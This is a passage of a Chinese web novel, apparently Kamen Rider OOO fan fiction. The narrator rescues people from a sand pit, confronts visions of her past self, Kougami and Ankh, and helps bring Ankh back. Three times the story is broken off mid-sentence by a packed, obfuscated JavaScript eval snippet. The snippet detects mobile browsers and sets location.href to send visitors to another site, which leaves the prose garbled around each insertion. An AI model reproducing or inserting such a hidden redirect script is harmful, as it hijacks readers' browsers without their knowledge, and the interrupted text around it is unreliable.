经过飓风长时间的搬运,窖内的沙子已经堆到了成人大腿的高度。要是我去得再晚一点,这些人估计就要被活埋了。 该说硬币做的身体就是沉重,居然这都不掉下去。 我站在窖口,思考自己到底该怎么把这些成年男性一个个都拖上来。 不知道是谁先看见了我:“啊!死神!” 他似乎是想下跪求情,但无奈膝盖也埋在沙里,跪不下去,只好把身体折起来,双手合拢不停哭喊:“求求您了,不要带走我吧,不要带走!” 我哭笑不得。 映司就在他的身边,已经变成了“沙人”。 和这些绝望的人不同,映司虽然也在坑里,但一直没有放弃,甚至还移动到那人身边,拍着他的肩膀宽慰道:“别绝望啊!我们肯定能出去的,把手交给我吧!” 喂喂,那后辈的台词。 映司不停拍打着那男人的肩膀,不停大喊,试图唤醒他的斗志。可惜男人双手掩面,根本没听到他的话,彻底沉浸在了自己的悲伤之中。 窖内人差不多都是这样。好几人都觉得自己必死无疑,干脆放弃了挣扎。 这样做的结果也很明显。他们埋得比其他人更快,最严重的已经堆积到了腰部。 不能拖下去了。 我心里着急,却不知道能怎么做。 不能贸然跳下去。没有绳索,一个个拉上来也成问题。再者,我虽然能保证自己在风暴中伫立不动,但这些人…… 该死,这比逃出医院要难多了。 窖内,映司还在打气。他被迫放弃那些丧失全部斗志的人,而转身去找那几个还年轻的,还在挣扎的男生。 “动起来吧!你看我动起来就轻松多了!” “别放弃啊各位,不都是为了生存下去才来的吗?不要在这里放弃啊!” “快!我拉住你,一二,跳!一二、跳!” 窖外,我考虑着救助他们的方法,思路却好像鬼打墙一样,怎么也绕不出去。 沙坑越来越深,像颠倒的沙漏。 这是死亡的倒计时。 我真后悔自己过来了。我没有映司那样的勇气,哪怕这时候还在不断鼓励着深陷绝望的他们,哪怕没有一个人听他的话,哪怕只是聊以自慰的无用功。 他到底怎么做到的?! 为自己的无能,我痛苦地蹲了下去。 这一下却引起了映司的注意。 “你怎么——” 我猛地抬眼,看到映司也停住了,仰着脸往我这儿看。 我的视线又恶化了。这点距离,我居然无法辨识他的表情。 “你怎么。”他又问了一遍。 “我……”我生涩地开口,因为本能而站了起来。 有东西滑落下去。 “不好!” 我大叫,趴在窖边试图抓住那东西的边缘。 我没抓住。 石板掉落下去,正好落到了映司身边。 “这是……”他捡起来。 石板上,三道醒目的红光猝然亮了起来,从石板上发射出去,恍如破天的光柱。 三道光芒之间,我看见一个红色的身影。 映司显然也看到了:“这是……” 我彻底说不出话来。后知后觉地意识到我居然看见了颜色。 黄色、绿色、白色、灰色、紫色……不同光芒的光柱依次出现。只是那些色彩里再没有其他Greeed的身影。 根据光的原理,如果色环上所有颜色的光都混合了,最后出现的会是纯净无瑕的白。 “喂!” 映司朝着天空大喊。我回过神来,这才注意到自己飞了起来,要融进那光里。 许多许多的画面,如溪水般流过我的眼前。 听到了后藤的话。 “映司你说拿到的时候鸟的部分在发光,对吧?我记得你这么说了。然后其他的部分也开始发光,一直到恐龙……整块石板都点亮了。 “这时一束光从石板朝天空射出。‘咻’的一声,石板又暗下去了。” 29.Time Judged All(5) 《楚门的世界》里,因为代表天狼星的照明灯,从天边掉了下来,楚门于是对世界的真相隐约有所觉察,并最终发现了自己的人生不过是虚假的真人秀表演。 《苏菲的世界》里,因为一封神秘的信件,包含了整个西方哲学史的发展,苏菲于是从故事中觉醒,并最终逃出了书,来到了少校所在的世界。 在大家都在读小学的时候,已经知晓了上面两个故事的我,受到启发,经常会问自己一个问题: 我的存在、这个世界的存在,我的经历以及全部的记忆,究竟是真实的存在,还只不过是一本书里的故事呢? 前者倒一切都好说。 而如果是后者,就说明“我”其实没有什么自由意志,不过是按照剧本的编排,扮演“秋山燕”的角色。 如果世界真的是一本展开的书。那么我请问看到这里的读者:我演得还成吗? 你们会喜欢这样的“秋山燕”吗? -- “不知道呢。” 好耳熟的音色。 我揉揉眼睛,从恍然的状态中恢复过来。 面前的荧幕还在播放,画面里是我至今为止的人生。 这是一场特殊放映的电影。 我目睹自己出生,从婴儿长成孩童,再变为少年。坐在地铁上,耳机里放着《假面骑士OOO》的主题曲,过一会儿又变成沫沫的声音。 “什么?!你也开始看假面骑士了???” “小声点啊燕子,就是再光彩的事,也不能这样说啊……” “抱歉沫沫,我实在是……” 这是我一辈子都不会忘记的话。我的“穿越”的开始,就是这样简单的几句闲聊。 “不是你推荐的吗?你说这部很好看的啊,天天发小作文……” “也行,总之别看剧场版。真别看。” “放心吧燕子,我一直是……” 在来到这个空间以前,我的记忆到此为止,之后发生了什么全无印象。如果这块荧幕代表的是我的记忆,到此就要黑屏下去,浮出“全剧终”的字样。 可是呢,放映还在继续。于是我看见了之后的情景。 我挂断了沫沫的电话,又转到微博,在小号上大倒苦水,抨击武部直美之流真是毁了一个IP。 就在我点击“发送”以后。 地铁急刹,我整个人往前栽去,甚至撞到了座椅的不锈钢上。 “怎么回事?”我从座椅上爬起来,听到车内广播。 “尊敬的旅客朋友……” 后面的话就不怎么清晰了。 “怪物、怪物!!!” 两只目测有两米高的怪物,从另外一节车厢缓缓走来。 “救命,救命!!!” 有人尖叫,有人哭嚎,更有甚者直接在车里吐了。胃酸混杂着食物残羹的气味,在狭小的空间里迅速扩散,真的很不美妙。 但当时也想不到那么多。 我坐在位置上,或者更准确地说——我被这突如其来的变故震慑住了,愣在自己的位置上一动也不敢动。 怪物越过混乱的人流,一前一后地来到我的面前。 “是你……” 其中一个怪物好像是认识我。祂突然癫狂起来,伸手掐住我的脖子,把我整个人提了起来。 那个时候,我看见祂手臂间的翅膀。透明的与身体相连。 “是你……是你!” 怪物嘶哑着,或者这也是祂的咆哮,我不确定——我的意识迅速地消散,喉咙被捏住,一句话也说不出来。 “我……不……” “是你!” 祂真的要把我掐死了,但是,我不想死在这里。 随便什么神都可以,求求你们…… 我无助地祈祷着,除此之外什么也做不了。 倏然! 一道紫光从我体内喷涌出来,像《奥特曼》里的光波,直接打在了那两只怪物身上! “啊啊啊啊啊——!!!” 两只怪物纷纷捂住眼睛,大概是受伤了。那个掐着我的怪物不得已松开了手,于是我又跌回到座位上,大张着嘴艰难地呼吸。 “啊啊啊啊啊!!!!!” 怪物大声地叫喊着,在某一瞬间定格,变成散落下来的硬币。 这是……结束了吧…… 我昏了过去。总感觉这一幕似曾相识。 -- 影片结束。 “如何,看到自己的表演?” 又是那个声音。 “啊,应该说有猜测吧。” “在随着光柱上升之后?” “不,在你出现之后。” 我转身面对那个说话的人。 三年前的秋山燕站在那里,穿着她新买的一条裙子。 她笑着:“还记得这件衣服吗?你当时最上头的时候,专门去商城淘的。” 我当然是记得。 那时候刚从前同学口中知道《假面骑士OOO》这一部剧,本来也没多好奇,想着音乐太好听了回去搜索了下资源,结果一发不可收拾,结局时哭了半个小时,后面三天里做梦都是同样的内容,梦到Ankh回归,梦到比奈真的实现了她贪心的愿望,三个人幸福地生活。 梦得太美,有时候会不愿醒来。半个月里我都恍恍惚惚的,某天刷视频,看到相关配色的穿搭,也不管合不合适,周末就去商场里找了类似的买回家,就算都说不好看、不合适也要穿着,以此表示自己的热爱。 这种冲动又幼稚的行为,也就只有初中的我会做吧。 那套衣服后来随着我长身体,慢慢地穿不下了。我把它们收进衣柜,已经好久没再看到。 “想不到我居然是穿着这身,对吧?”三年前的我提着裙摆,轻盈地转了个圈,“但是,我觉得这个最合适呢。” “因为你毕竟是从这里出发的。所有的经历都是为了回到原点,封闭着整个故事。如同Ouroboros。” 她说的是柏拉图在《蒂迈欧篇》中提到的衔尾生物,永远处于自给自足、自我吞噬的状态。 通俗来讲,就是“衔尾蛇”。 原来我三年前是这个风格吗?满嘴的哲学名词,听着就招困。 但是,挺怀念的。 “如果这就是Ouroboros……”我扬起嘴角,“那到此为止,醒来后我就回到了自己的世界?” “这个嘛……” 三年前的秋山燕耸了耸肩,没有回答我的问题。 “这个嘛,当然不会啊!” 又有个人从黑暗里走了出来,在另一个“我”的左边站定。那熟悉的腔调,真不乐意在这种场合听到。 “很失望是吗?但是没办法啊,我就是出现在了这里。”鸿上光生依旧不放弃他那极具辨识度的开场,“而你也出现在这里,不可思议!这证明我的判断完全、完全正确!恭喜我们!” 鸿上边说边高举双手,在另一个我身后高声欢呼。 “……” 那个我抬头,又摇头。张了张嘴,又似乎无话可说。 好古怪的氛围。尴尬得恰到好处,以至于让人觉得和谐。 但也只有这么一段时间。 “也许吧,但我更想知道怎么出去。” 我也摇了摇头,目光从那个我身上移开,转过脸问鸿上。 “你早就算计好了一切,是吗?” “如果这样会让你觉得可以接受……是的。是我计算好的这一切。我早就知道了你的存在。那块石板是八百年前王的遗物,你交给了映司,你们都在场,所以它记住了你……代表恐龙的力量也挪移到了你的身上。” 鸿上微笑着。 “而我通过那块‘母板’见证了这一切。如果这样会让你觉得可以接受,那答案就是这个。没有所谓的‘穿越’,或者,这本身就是穿越——穿越因果,由始到终。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531194|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这不是我想知道的。”没能听见自己想要的答案,我纠正他,“你知道我问的是什么,不是这么浅显的东西。” “如果你依然执着于那个问题,执着于为什么是你……”鸿上摊开手,一副无奈的表情,“那很抱歉,我也不知道。” “是‘不知道’还是‘不想说’?” “你为什么不问问自己呢?是‘不知道’还是‘不想说’。” 我瞪着他。 鸿上爽朗地笑了一声。 “别这样看我。‘不知道’还是‘不想说’,这个问题实在复杂。”他拿出要推卸责任的态度,“说到底只是你的心底的幻影,只是以你能接受的方式表现出来。” “我也是哦。” 三年前的我还在旁边帮腔。 “说到底是你脑子还不清醒,所以才要以这种精神分裂的方式思考嘛。我们,包括他——” 那个我举起右手,擦了一个响指。 “轰”的一声,火焰熊熊燃起。第三个人出现在我的面前,脸上神情比起另外两人多了些不耐烦的意思。 “Ankh也来说点什么?毕竟是你的欢迎式呢。” “那种东西到底有什么必要……” -- 占据了泉信吾身体的鸟系Greeed,Ankh,有着和信吾哥完全不一样的性格。 看剧集的时候我就想说了,就凭借泉信吾的样貌,Ankh但凡愿意好好说话,少摆一些臭脸,待遇也不至于差成那样。 但估计是改不了了。 鸟类天生向往天空,向往自由。以此为原型的Greeed,哪怕是在我的幻境里面,也依然是无所畏惧的态度,说的话一点都不动听。 “‘为什么是我’,这种问题真的很无聊啊。”听他的语气,我很怀疑要不是我的脏话库里没有储备,接下来的词没有一个能播,“不管怎样,事情都发生了不是吗?难道你们人类非要有一个神明告诉自己:因为你是这个世界的主角,你抱着这样的目的而降生……然后才能安心,劝自己去做什么是吗?” “要知道我选择映司的时候,只是因为他刚好出现了而已。” “只是他刚好、在那里、而已。” 我看着他一脸暴躁,类似的话重复了一遍又一遍,忍不住眼泪随着笑声一起蹦了出来,又抬手擦掉。 “你说得对……” 我转过头,视线从三人身上依次扫过。 -- Ankh是为什么没有被迷失的自己所吞噬呢?泉信吾是为什么在Ankh占据了身体之后得救了呢? 没有人比我更清楚了。 “这些没有生命的人造工具,它们的战斗,本质上是欲望的比拼啊……” 生的欲望,活的欲望。 我总要做出一个选择。 我走到三年前的自己面前。 “虽然很抱歉,但是Ouroboros并不是这样用的。” 她像是早已知道答案,甜甜地对我笑了一下。 “你也不会选他,对吧?”她指的是鸿上,“你一直都很不怎么喜欢他,太任性了。” “是啊。”我承认道,“我对他算羡慕到妒忌吧,总希望自己也可以那么任性……” 不等我说完,那个我又指向Ankh。 “也不会选他。虽然你算偏爱他的,但也受不住他的脾气,只能交给映司。” 该说不愧是过去的我吗?在猜心思这方面简直是上帝视角。 “那就是之后的事了。”我想了想说,“现在我只想离开——‘我’知道该怎么离开,对吧?” “你当然知道。” 三年前的我说完这句,踮起脚来抱住了我, “其实你一直在为自己骄傲。” 她的话声轻轻的,像是夏天里柔和的风。目视她在我怀里变作一片片的光点,向着远方散去,铺成一条闪着光的小路,通往那个我注定要回归的地方。 30.你我都在的明日 我以为会回到那个路口,结果不是。我睁眼看见一张人脸,五官深邃,眉眼之间是漆黑的阴影,像信息采集时拍的黑白证件照。 我马上被吓清醒了,鱼打挺一样坐了起来,心率直飚一百八。 “醒了?” 是伊达叔。 “我这是……”我有些迷茫,低头看到自己身上盖着一条白色的毯子。 这布置是……医院? 怎么会在医院? “你醒啦。”伊达叔说。 “这是怎么回事?” 大脑昏沉沉的,像是睡久了的反应,叫我一头雾水。更奇怪的是这个地方。我不是跑出去了吗?遭遇战又不是在医院里开的,再怎么想也应该是在那个巷口,我被那对Yummy…… 好像漏了件更重要的事情。 “映司呢?!”哪里还顾得上自己,我撑着床边,转过头焦虑地问,“映司他还在和Greeed……他人呢?!” “你先冷静一下,”伊达叔安抚我说,“是这样的,从那天护士发现你昏迷算起,已经有三天了……” “三天?!”我忍不住插话,顿觉全身的血液都不动了,冰块一样堵在身体里面。 我居然在幻境里呆了三天…… 谁知道现实里是怎么样了! 我懊恼着,后悔自己最后关头还那么多话,以至于耽误时间。 “那映司……” 我想问又不敢,暗暗为最坏的结局做着准备。 “映司他没事。”伊达叔一句话就把我猛然提起的心轻轻放了回去,“三天前的那只Greeed……啊,按定义应该叫Yummy王了。祂不知道得到了什么增益,居然把之前的Yummy都复活了,我们也因此陷入了苦战。但好在人都没大事。” “可以想象……” 我们说完便都沉默了。 伊达叔大概在想有什么是能跟我说的,还在思考。他几次抬眼看我,被我捉住,又重新低下头去,明显带着心思。 至于我。映司还活着,就说明事态也没到无可挽回的境地,大不了就是十周年的场景再来一遍,对此我早已脱敏。 没有八百年前的王,就多了个“Yummy王”是吗? 故事的归宿居然是王,真是祸害遗千年了。 我一把掀开被子,要求伊达叔:“算了,先带我去见映司吧!” “这怎么行?”他立即拒绝了我,“你的身体还没有完全康复……真是,知道这几天你数据多糟糕吗!映司他和后藤正在抗击Yummy王的前线,你过去就是添乱!” “如果我不是添乱呢?” 伊达叔皱着眉头,一脸“要不听听你说的都是什么”的表情。 真是的,虽然之前我是莽撞了些,但……我有那么不可信吗! “我说的是真的。”我认真地解释,“之所以晕过去了,是因为之前那对Yummy对我下手……” “这你是怎么知道的?”伊达叔打断了我,“护士只告诉我你凌晨开始发烧,高热不退,一度烧到了四十二度……我们想办法维持你的体温,但都没用。后来你……” 他突然不说了,但我可以猜到之后的话是什么。 这时候还需要对我保守秘密的,不就是那件事吗? “后来我身上掉出了细胞硬币,是吧?” 听到这话,伊达叔的脸色马上有了变化。 “你知道?”他狠狠地瞪我一眼,忽然又松懈下来,像是打通了关窍。 “也是,你怎么会不知道。毕竟是你的身体……” “比较意外的是我知道你们知道了,对吧?”我接着说,“映司告诉我的。” “他为什么要告诉你这个?” “准确地说,是我先觉察到了……但不重要。”我叹了口气,头一回觉得组织语言也是件困难的事,要去想什么是必须传达出来的重要信息,什么又可以暂时忽略,“总之,我被那对Yummy盯上了,就是伤害比奈的那只——他们要我的命。” “但你也没什么大碍,只是一直在发烧,然后往外冒硬币。”伊达叔点点头,示意我说下去。 “是啊,看着没什么大碍……”我自嘲地笑笑,“大概是我太想活下去了。祂们是来找我复仇,吞噬我的。但是没能成功,反而被我给吸收了。” 说到这里,我举起手掌。感到那里涌动着一股力量。 “硬币就是生命,硬币就是一切。但是,不管是被迷失Ankh吞噬的Ankh,还是被Ankh占据的信吾哥,他们都不是靠硬币的力量活下去的。”我继续说,“所以Yummy也好,Greeed也好,硬币之外还有一样东西决定了祂们的生死,也是击败Yummy王的关键。” “是什么?” “精神,幻想。一种试图把‘不可能’变为‘可能’,并愿意为之贡献所有的觉悟。” 我抬头,转向伊达叔所在的位置。 他神色庄重,也在思考,并似乎也知晓了那个答案。 “有一个中性词还蛮合适。”我说。用恰好能被我们听到的声量。 “——欲望。” 伊达叔站了起来。 -- 思路对上,之后的事就好说了。 我让伊达叔开车送我去映司所在的地方,路上给他讲了里世界的经历,听得他啧啧称奇,一直在跟我唠嗑。 “真是惊险的旅途啊,吓得我鸡皮疙瘩都起来了。”他打着方向盘,看着两边的路况不断超车,“那对姐妹居然真想杀了你,到底哪里惹了她们。” “什么话呢?”我捂着嘴巴,心想这晕车为什么更严重了,苦哈哈地解嘲道,“我惹得还不多啊。因为我祂们被你们给消灭了,之后又被我消灭了两次,加起来六条命呢。我还骗了祂们,这下不恨我才奇怪吧?” “但是,那也是自找的吧。”伊达叔说,“最开始变成Yummy,到底是为什么呢?明明也是不愁吃穿的富家小姐,居然被欲望折磨成了那个样子,哎。” “明知故问。说这些是为了分散我的注意,不至于吐你车上吗?”我已经完全不知道自己在说什么了,“贴心的话就别问这种复杂的东西了,车开稳点比什么都重要好吗!!!” 虽然我这样抗议过了……但是,怎么可能。 “到了。”跟信吾哥一样,伊达叔一路疾驰,通过急刹的方式把车停下,回过头来问我,“还有很长一段路,你是骑车还是……” “跑。” 我敞开车门,跳到地上急不可耐地冲了出去! -- 伊达叔以最快的速度把我送到前线。也是很眼熟了,一般管它叫“东映祖传后山”。 伊达叔停车的位置距离映司太远,非要形容得话就是远到得靠望远镜才能看见沙地上有三道渺小的影子,正在进行二打一的缠斗。 这还是后来的比奈和知世子告诉我的。 “我们当时用着绘里香小姐给的道具,看见你一摇一摆地出现,可把我们吓坏了。” 知世子比划着,绘声绘色地把当时的场面给描述了出来。比奈在一旁频频点头,听完后又补充道:“那时候我们都在想要不要通知后藤。但是你好像另有打算。” 那天晚上,绘里香小姐给她们一人一个联络用的道具,说是可以直接连接到Birth系统。本来是方便求救,没想到第一次使用是在这里。 “还好你们没说。”我撑着下巴叹气,“不然真不知道要怎么收场。” “也就慢了一步。”知世子说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533644|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过脸与比奈相视一笑。 像影视片里那种知心大姐一样,她把椅子挪到我身边来,拉住我的手说:“不过,在你看来那一定很惊险吧?那么可怕的怪物,我们都没有准备。” “反正后藤是吓坏了。”比奈补充。 我看看知世子,又仰起脸看看比奈。她们的眼神都亮晶晶的,带着好奇,似乎很想听到我的感想。 可是呢…… “其实我什么也没有想。”我摇了摇头,很是抱歉地对二位说,“那时候我完全豁出去了,脑子一片空白,只有一个单词。” “单词?” “嗯。” 我把手从知世子的掌心中抽走,放到膝盖上。 “就是第一次去基金会和鸿上会长见面的时候,他给我的蛋糕。”我,“那上面有个单词,‘Release’。就是‘释放’的意思。” -- 其实那件事情,放在我的视角里面,真的没有那么夸张。说冒险吗?好像里世界的每一样事件都更惊险,因为那时我真要面对未知,而不是像当时那样,我知道自己应该做些什么,又会得到什么样的结果。 对我而言,首先要弄懂在我的潜意识里,为什么代表“真相”的形象是鸿上光生。 因为他神秘吗?因为他恰好出现在每个节点,是所有事件的幕后黑手? 肯定不是。 这个世界一而再、再而三地给我暗示,像是真的存在这样一位编剧,精心策划好了剧情,以巧合的方式送到我面前。 我不可能忽略的吧? “映司!” 我大喊着,同时吸引了Yummy王、映司和Birth的注意。他们似乎都不曾想过,会有一个女孩贸然出现。这行为根本就是找死。 还是映司先反应了过来。 “燕!”他大叫了一声,转而朝Yummy奔去,趁着对方愣神的功夫,控制住祂的行动。 “你快走啊!”他喊。 后藤也回过神来。 “快走啊秋山!”他做了一个返回的手势,“这里不是你玩闹的地方!快走!” 真是的,我也成了战场上的小女孩吗? 但我又不是她。 “我不走!”我也喊了回去,两眼直直地盯着映司,“你知道Ankh最后是怎么把核心硬币给你的吧!” “什么——” 距离太远,这么长的句子,映司肯定是没听清的。不过没关系,不管他听不听得清楚,甚至不管他听不听得见,都不会影响我之后要做的事情。 说到Ankh是怎么丢出最后那枚的核心硬币的啊…… 那一幕真的很帅,往后三年都刻在了我记忆里。 所以我也想要复刻一下。 “欲望是唯一的解答,因此关键就是欲望的释放。” 我向前伸手。 “喂,Ankh!” 如果你依然有着强大的、决不放弃得到完整生命的欲望。如果你还幻想自己可以成为天空的霸主,做着那样壮丽的梦。 “我知道你就在这里!” 一如八百年前。 -- 尖锐的嗥叫。 似从九天之上而来。 数不清的硬币从我的体内喷涌而出,争相奔往鸟鸣出现的方向,聚成一个高大的身影。红色的羽毛刹那间飞扬而下,像是一场血红色的暴雨。 “Ankh……” 所以说啊,见到了那样美丽的凤凰,脑子里哪里还想得到其他。 倒是映司……明明等了好久,期待了好久好久,到头来除了看痴了一样呆呆念叨别人名字,就不能多说点好听的吗! 至少也要加上一句…… “欢迎回来,Ankh。” 31.灿烂的终点、感谢和空白的未来(1) “难怪啊,你根本就没看见嘛!” 听完我的转述。知世子撇了撇嘴,好像很遗憾自己听见的内容。 “抱歉啦,”我双手合十,“但是,之后我就昏过去了,没有办法。我还想问你们当时发生了什么呢!这么重要的高潮部分我居然只配看个开头,实在是不甘心啊!” “你还说呢。”比奈叹了叹气,说起当时的情况,“那会儿后藤真吓坏了,怕你有个三长两短,赶紧扶住你。” “马上飞过去了呢!”知世子笑眯眯地补充。 这语气,根本就是在讲笑话嘛! 我有些尴尬,拿起果汁故意抿了一口,卡着杯壁讪讪道:“那还真是添了不少麻烦……” “但如果没有这些麻烦,我们也没办法再见到Ankh,对吧?” 知世子转过身子,看着不远处正在被Ankh教训的映司,忽然笑了一下。 “真好啊,又恢复到以前的样子了呢。热热闹闹的。” 其实,未必要等到年老。人生里总有那么一些场合,让人会忍不住回忆往事,比如某个阳光灿烂的下午,我坐在自己的房间里,看见金色的阳光透过窗子倾泻进来,想到那天,我同样坐在窗边,近距离地欣赏那些被我用心爱着的角色,欣赏他们历经过的波折,以及他们最终抵达的幸福。 -- 以上便是本次“穿越”的尾声。 关于Yummy王是如何被打败的,Ankh又为何复活,诸如此类的事前文已经交代得差不多了。但正如我所说的,那会儿我又晕过去了很长一段时间,所以细节方面还不够完善,得到最后才能做出说明。 怎么感觉自己比财前葵还能昏迷。 言归正传,首先是Yummy王的部分。 OOO整个故事都在强调欲望的作用。不光是战力的基准,同时也是生命的可能,或者说成为BOSS的可能。 Yummy王就是这样来的。 根据后来警视厅的资料,课长他们在缺少我的帮助的情况下,还是意识到Yummy王本质上也是Yummy,而且是最早被他们消灭的一只,编号为“零”,代号赤眼黑龙,能力是改变局部天气。被打败后不知为何与编好“七”的寄居蟹型Yummy融合,多出了转移的能力,并衍生出“复活”特性,利用细胞硬币大量复活了Yummy,并自立为王,不断抽取其他Yummy的技能,到底进化成了这副看似无敌的模样。 简而言之,给自己造了一个Yummy版天才瓶。 但是天才战无不胜,崇皇火力全开。面板太多使用便成了问题,相信祂直到彻底被消灭以前,也不清楚其实那对蝉姐妹的技能其实没有什么限制,如果利用祂们的幻境早些制造出鬼打墙的效果,说不定还有机会耗死映司,而不是傻乎乎地打正面战。 当然,不好说映司会不会急了掏出恐龙模组一力破万法,但这么做总比面对面有机会吧?第一回映司还不清楚祂的套路,落了下风,真以为第二回交战还能得逞?他后面可是连了一整个警视厅专家组,在后面出阴招的啊! 只能说Yummy的智力也就这样。 收网阶段,专家组对硬币进行了详尽的分析。这次鸿上光生倒没有藏消息了。鸿上实验室为这些学者彻底开放了一次,包括八百年来所有关于硬币与王的资料,鸿上光生也没有藏私,不晓得又打了什么算盘。 但总归做了件好事,和空白石板不断吐硬币导致BOSS战那么难打功过相消,官方也懒得追责。 最终这起Yummy王事件的结案报告打破了警视厅的纪录,林林总总算起来有一千多面,事件分析里更是恨不得把参与者有几根头发都写进去,生怕漏掉一丝细节。对此我只能表示太长不看—— 开玩笑的。 作为Yummy事件的深度参与者,我一定要参与结案报告的审阅。实在太多了,我完全没有细看,而只详细阅读了结论部分。 报告上说:“基于先有条件分析,” Yummy也是不想死的。但不得不死。 其次是Ankh的复活。 我直到从第二个里世界出逃以后,才真正明白鸿上光生亲手制作的蛋糕上那个“Release”的用意。 释放、松开、免除。 一条完全可以从字面理解的单词。 其实我一直在怀疑,该不会鸿上光生就是那个书写剧本的人,不然他怎么能在开头就给出这条线索, 我是在被美纪子美智子两人吸入身体后才明白的。 那件事到底有没有发生,我和伊达叔各执一词,并为此争执了很久。我坚信那一定是真事,但伊达叔却反驳我,说我是中了那对姐妹的技能,因为在他的视角里,我从来没有离开过他的医院。 “时间怎么说?时间。”伊达叔有理有据,“护士报告后我就亲自过来盯着你了,同一时间你确实是在医院里病得呼吸都有问题,不可能跑出去。” 我认为他“病得呼吸都有问题”的形容实属夸大,但是确实,同个时间段里我不可能既在医院养病,又跟007一样飞檐走壁,逃出去跟Yummy对抗。 可是,如果这一切和时间无关呢? 我不是早就注意到了吗?比较起我的世界,这个世界显然太落后了。虽然也有鸿上光生这样的黑科技,但大部分技术没有任何进步,还是维持在十年前的水平。 而我穿越进来以后,这世界又像是按下了快进。Yummy王也有了,新装备也有了,甚至半年前Yummy的出现,也不能说和我完全无关。 怎么说呢,就像打游戏一样。只有主控到了那个地方触发节点,剧情才能往下推进,其余的随便乱逛也不会有多大变化。 所以我怀疑,只是怀疑—— 这个世界本质上是靠情节推动的。 因为我半年前落下了石板,所以两个世界被打通了。 因为两个世界被打通了,所以我会遇到来寻仇的Yummy,并穿越到这里。 因为我穿越到了这里,所以会去解救比奈,进而和Yummy结仇。 因为我和Yummy结仇,所以我才会被抛到半年以前,拿到那块石板并 这也我一直在寻找的,“为什么是我”的究极答案。搞了半天,我还真是主角,只是因为种种原因,颇有“路人女主”的味道。 而之所以兜了这么大的一个圈子,目的是复活Ankh。 这是另外的一条逻辑,我暂时还没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535525|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理好,但有几点是肯定的,在此先做分享。 因为“活下去”的欲望过分强烈,Ankh其实一直没有彻底死去。如果要复活Ankh,就需要大量细胞硬币,加之强大的幻想为粘合剂,修复已经碎裂都核心硬币。 八百年前的说法确实没错,“幻想”是可以与“欲望”相媲美的力量。而二者一旦结合,其后果无法估量。至少我能肯定,他一定没想过这力量甚至能穿越到不同的世界线上。 石板可以提供足够的细胞硬币,但那些硬币一经产生,便会去找到欲望濒临暴走的人类,将其转化为Yummy。所以光靠它们无法完成复活,只能等是否有Yummy愿意把自己献身出去,用自己的硬币换来Ankh的复活。 而这件事只有我能办到。 当我说出“欲望”以后,我相信伊达叔也想通了这些。毫无疑问,我自愿牺牲,他愿意让我牺牲,终于是照我的意愿做了回事。 而Greeed出现就没有Yummy什么事了。结婚鸟出马轻松搞定,可惜我没看到那个据说惊艳到所有人都场景。 但我对这结局是满意的。反正比十周年那一坨要满意。 -- 回到那时,映司不知道又说了些什么,反正我听到Ankh的咆哮,好像在指责他脑子进水,剩下的一个字都放不出来,卡在审核的底线。 信吾哥在劝架,但好像效果不大:“火野先生他不是故意的,我可能都不知道……” “闭嘴吧人类!”Ankh转头大骂,用那双拟态的手直接揪住映司的衣领,两个人顿时贴得极近。 “我问你刚才到底什么意思,看不起我吗,啊?!” “没有没有。”映司嬉皮笑脸的,显然没有怕了的意思,“复活也不容易,我就想你好好休息,养养身体……” “那就是看不起我!” “两位别再吵了!” 真是混乱的一幕,尤其信吾哥和Ankh用的还是同一张脸。 而另一边,伊达叔、后藤和绘里香小姐也在聊天,好像跟后面的安排有关。绘里香小姐说自己好了假,准备去欧洲或者美洲享受沙滩。 “真的假的?”后藤反复确认,“那工作呢?都移到我这边吗?还是等你回来处理?” 绘里香小姐依旧是那副散漫的态度:“具体的看鸿上会长的安排吧。” “那你准备去多久啊?一周?两周?” “哪有那么短。我可准备了一个月的假期。” “骗人的吧……” 后藤的声调瞬间落了下去,显然在为自己的命运担忧。 伊达叔哈哈大笑,拍了拍后藤的肩膀:“没关系啊,就当是锻炼锻炼,想当初我在非洲……” “中年男人。”我不客气地吐槽,第一次觉得库斯库契如此拥挤,已经到了需要扩建的地步。 不过饭馆生意,热闹总比冷清好,对吧? 我拉了拉比奈的衣袖。 她回头,眉眼间满是来不及褪去的笑意。 “怎么了?” “你听过那句话吗?‘Per aspera ad astra’。” 循此苦旅,终抵繁星。 “本来就该是这样。” 32.灿烂的终点、感谢和空白的未来(2)正文完 为了庆祝Ankh的回归,以及Yummy事件得到彻底解决,周末库斯库契举行了一场盛大的欢迎仪式,同时也是我在那个世界的最后一场宴会。 “三、二——” 我往回跑,站在人群中间比了个“V”字。 “咔嚓。” “真神奇啊,你们的技术。” 比奈把手机取了下来。 “你看,这照片在动呢。” “真的欸,把燕儿跑过来的样子完全录上了。” 